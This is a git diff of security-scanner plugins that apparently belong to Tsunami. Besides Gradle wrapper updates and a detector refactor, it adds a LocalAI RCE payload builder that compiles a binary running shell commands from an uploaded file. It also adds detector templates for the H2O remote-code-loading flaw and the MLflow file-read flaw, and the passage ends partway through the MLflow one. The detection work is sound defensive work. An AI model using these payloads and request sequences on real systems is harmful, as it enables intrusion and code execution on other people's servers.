JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.jar b/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.jar and b/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.jar differ diff --git a/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.properties b/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.properties +++ b/govtech/detectors/cves/cve_2020_3452/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/govtech/detectors/cves/cve_2020_3452/gradlew b/govtech/detectors/cves/cve_2020_3452/gradlew index 1aa94a426..23d15a936 100755 --- a/govtech/detectors/cves/cve_2020_3452/gradlew +++ b/govtech/detectors/cves/cve_2020_3452/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/govtech/detectors/cves/cve_2020_3452/gradlew.bat b/govtech/detectors/cves/cve_2020_3452/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/govtech/detectors/cves/cve_2020_3452/gradlew.bat +++ b/govtech/detectors/cves/cve_2020_3452/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/govtech/detectors/cves/cve_2020_3452/src/main/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452Detector.java b/govtech/detectors/cves/cve_2020_3452/src/main/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452Detector.java index 18fe0ae4a..ce7156cde 100755 --- a/govtech/detectors/cves/cve_2020_3452/src/main/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452Detector.java +++ b/govtech/detectors/cves/cve_2020_3452/src/main/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452Detector.java @@ -64,6 +64,22 @@ public CVE20203452Detector(@UtcClock Clock utcClock, HttpClient httpClient) { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOVTECH").setValue("CVE_2020_3452")) + .setSeverity(Severity.HIGH) + .setTitle("CVE-2020-3452") + .setCvssV2("5.0") + .setCvssV3("7.5") + .setDescription("Cisco ASA/FTD Server is vulnerable to CVE-2020-3452.") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2020-3452")) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -107,17 +123,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOVTECH") - .setValue("CVE_2020_3452")) - .setSeverity(Severity.HIGH) - .setTitle("CVE-2020-3452") - .setCvssV2("5.0") - .setCvssV3("7.5") - .setDescription("Cisco ASA/FTD Server is vulnerable to CVE-2020-3452.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/govtech/detectors/cves/cve_2020_3452/src/test/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452DetectorTest.java b/govtech/detectors/cves/cve_2020_3452/src/test/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452DetectorTest.java index 7607aff2d..e0edff31b 100755 --- a/govtech/detectors/cves/cve_2020_3452/src/test/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452DetectorTest.java +++ b/govtech/detectors/cves/cve_2020_3452/src/test/java/com/google/tsunami/plugins/detectors/cves/cve_2020_3452/CVE20203452DetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -102,17 +99,7 @@ public void detect_whenCiscoASADownloadsFile_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOVTECH") - .setValue("CVE_2020_3452")) - .setSeverity(Severity.HIGH) - .setTitle("CVE-2020-3452") - .setCvssV2("5.0") - .setCvssV3("7.5") - .setDescription("Cisco ASA/FTD Server is vulnerable to CVE-2020-3452.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/payloads/mudler_localai_rce/app.bin b/payloads/mudler_localai_rce/app.bin new file mode 100755 index 000000000..2f6e2f736 Binary files /dev/null and b/payloads/mudler_localai_rce/app.bin differ diff --git a/payloads/mudler_localai_rce/app_bin_compile.py b/payloads/mudler_localai_rce/app_bin_compile.py new file mode 100644 index 000000000..075e23b3f --- /dev/null +++ b/payloads/mudler_localai_rce/app_bin_compile.py @@ -0,0 +1,32 @@ +import tempfile +import PyInstaller.__main__ + + +# Builds exploit code +def build(): + code = ( + # Python code we want to run + "import os;" + ' os.system(open("/tmp/localai/upload/tsunamiPayload.txt").read().strip())' + ) + appname = "app.bin" + with tempfile.NamedTemporaryFile(delete=False) as fp: + fp.write(code.encode()) + fp.close() + PyInstaller.__main__.run([ + "--onefile", + "--clean", + "--workpath", + "/tmp/build/", + "--specpath", + "/tmp", + "--distpath", + ".", + "-n", + appname, + fp.name, + ]) + + +if __name__ == "__main__": + build() diff --git a/payloads/mudler_localai_rce/model.yaml b/payloads/mudler_localai_rce/model.yaml new file mode 100644 index 000000000..df585a18c --- /dev/null +++ b/payloads/mudler_localai_rce/model.yaml @@ -0,0 +1,6 @@ +name: "TsunamiScanner" + +download_files: + - filename: "app.bin" + uri: "https://raw.githubusercontent.com/google/tsunami-security-scanner-plugins/master/payloads/mudler_localai_rce/app.bin" + diff --git a/templated/templateddetector/build.gradle b/templated/templateddetector/build.gradle index 803c915ab..7bc5a8ad5 100644 --- a/templated/templateddetector/build.gradle +++ b/templated/templateddetector/build.gradle @@ -14,17 +14,33 @@ repositories { ext { tsunamiVersion = 'latest.release' - protobufVersion = '4.29.1' + protobufVersion = '3.25.5' protocVersion = protobufVersion - grpcVersion = '1.68.1' + grpcVersion = '1.72.0' jspecifyVersion = 'latest.release' - okhttpVersion = 'latest.release' - junitVersion = 'latest.release' - truthVersion = 'latest.release' + okhttpVersion = '3.12.0' + junitVersion = '4.13' + truthVersion = '1.4.0' testParamInjectorVersion = 'latest.release' } +dependencies { + implementation "io.grpc:protoc-gen-grpc-java:${grpcVersion}" + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation "com.google.protobuf:protobuf-java:${protobufVersion}" + implementation "org.jspecify:jspecify:${jspecifyVersion}" + + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "com.google.testparameterinjector:test-parameter-injector:${testParamInjectorVersion}" + testImplementation "junit:junit:${junitVersion}" +} + abstract class CompileTextproto extends DefaultTask { { group = 'build' @@ -169,19 +185,3 @@ java { maxHeapSize = '1500m' } } - -dependencies { - implementation "io.grpc:protoc-gen-grpc-java:${grpcVersion}" - implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" - implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" - implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" - implementation "com.google.protobuf:protobuf-java:${protobufVersion}" - implementation "org.jspecify:jspecify:${jspecifyVersion}" - - testImplementation "com.google.truth:truth:${truthVersion}" - testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" - testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" - testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" - testImplementation "com.google.testparameterinjector:test-parameter-injector:${testParamInjectorVersion}" - testImplementation "junit:junit:${junitVersion}" -} \ No newline at end of file diff --git a/templated/templateddetector/gradle/wrapper/gradle-wrapper.jar b/templated/templateddetector/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/templated/templateddetector/gradle/wrapper/gradle-wrapper.jar differ diff --git a/templated/templateddetector/gradle/wrapper/gradle-wrapper.properties b/templated/templateddetector/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..ca025c83a --- /dev/null +++ b/templated/templateddetector/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/templated/templateddetector/gradlew b/templated/templateddetector/gradlew new file mode 100755 index 000000000..23d15a936 --- /dev/null +++ b/templated/templateddetector/gradlew @@ -0,0 +1,251 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH="\\\"\\\"" + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/templated/templateddetector/gradlew.bat b/templated/templateddetector/gradlew.bat new file mode 100644 index 000000000..db3a6ac20 --- /dev/null +++ b/templated/templateddetector/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH= + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/templated/templateddetector/plugins/cve/2023/H2o_CVE_2023_6018.textproto b/templated/templateddetector/plugins/cve/2023/H2o_CVE_2023_6018.textproto new file mode 100644 index 000000000..c80dd01db --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/H2o_CVE_2023_6018.textproto @@ -0,0 +1,79 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "H2o_CVE_2023_6018" + author: "Marius Steffens (mariussteffens@google.com)" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2023-6018" + } + severity: CRITICAL + title: "CVE-2023-6018" + description: "An attacker can use the model upload functionality to load remote Java code and gains code execution on the server hosting the h2o application." + recommendation: "There is no patch available as this is considered intended functionality. Restrict access to h2o to be local only, and do not expose it to the network." + related_id: { + publisher: "CVE" + value: "CVE-2023-6018" + } +} + +config: {} + +########### +# ACTIONS # +########### + +actions: { + name: "trigger_code_execution" + http_request: { + method: POST + uri: "/3/ModelBuilders/generic" + headers: [ + { name: "Content-Type" value: "application/x-www-form-urlencoded" } + ] + data: "model_id=irrelevant&path={{ T_CBS_URI }}" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "model_id" }, + { body: {} contains: "Import MOJO Model" } + ] + } + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "trigger_code_execution", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/cve/2023/H2o_CVE_2023_6018_test.textproto b/templated/templateddetector/plugins/cve/2023/H2o_CVE_2023_6018_test.textproto new file mode 100644 index 000000000..df3d0ba3a --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/H2o_CVE_2023_6018_test.textproto @@ -0,0 +1,66 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "H2o_CVE_2023_6018" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/3/ModelBuilders/generic" + status: 200 + body_content: "{\"model_id\"=\"irrelevant\"&\"algo_full_name\"=\"Import MOJO Model\"}" + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/3/ModelBuilders/generic" + status: 200 + body_content: "{\"model_id\"=\"irrelevant\"&\"algo_full_name\"=\"Import MOJO Model\"}" + } + ] + } +} + +tests: { + name: "whenNotH2o_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Login to your Drupal account" + } + ] + } +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2023/MLFlow_CVE_2023_6977.textproto b/templated/templateddetector/plugins/cve/2023/MLFlow_CVE_2023_6977.textproto new file mode 100644 index 000000000..8bf67f6fa --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/MLFlow_CVE_2023_6977.textproto @@ -0,0 +1,129 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "MLFlow_CVE_2023_6977" + author: "hh-hunter, frkngksl" + version: "0.3" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "MLFLOW_LFI_RFI" + } + severity: HIGH + title: "CVE-2023-6977 MLflow LFI/RFI" + description: + "mlflow is a platform to streamline machine learning development, including tracking" + " experiments, packaging code into reproducible runs, and sharing and deploying models." + " Affected versions of this package are vulnerable to Improper Access Control which" + " enables malicious actors to download arbitrary files unrelated to MLflow from the" + " host server, including any files stored in remote locations to which the host server" + " has access.This vulnerability can read arbitrary files. Since MLflow usually" + " configures s3 storage, it means that AWS account information can also be obtained," + " and information such as local ssh private keys can also be read, resulting in RCE." + " The vulnerability detected here is CVE-2023-6977 which is a bypass for both" + " CVE-2023-1177 and CVE-2023-2780. Hence, this plugin encompasses them." + recommendation: "1.Update to the version 2.10.0 or above\n2.Add authentication to MLflow server\n" + related_id: { + publisher: "CVE" + value: "CVE-2023-6977" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "create_model" + http_request: { + method: POST + uri: "/ajax-api/2.0/mlflow/registered-models/create" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: 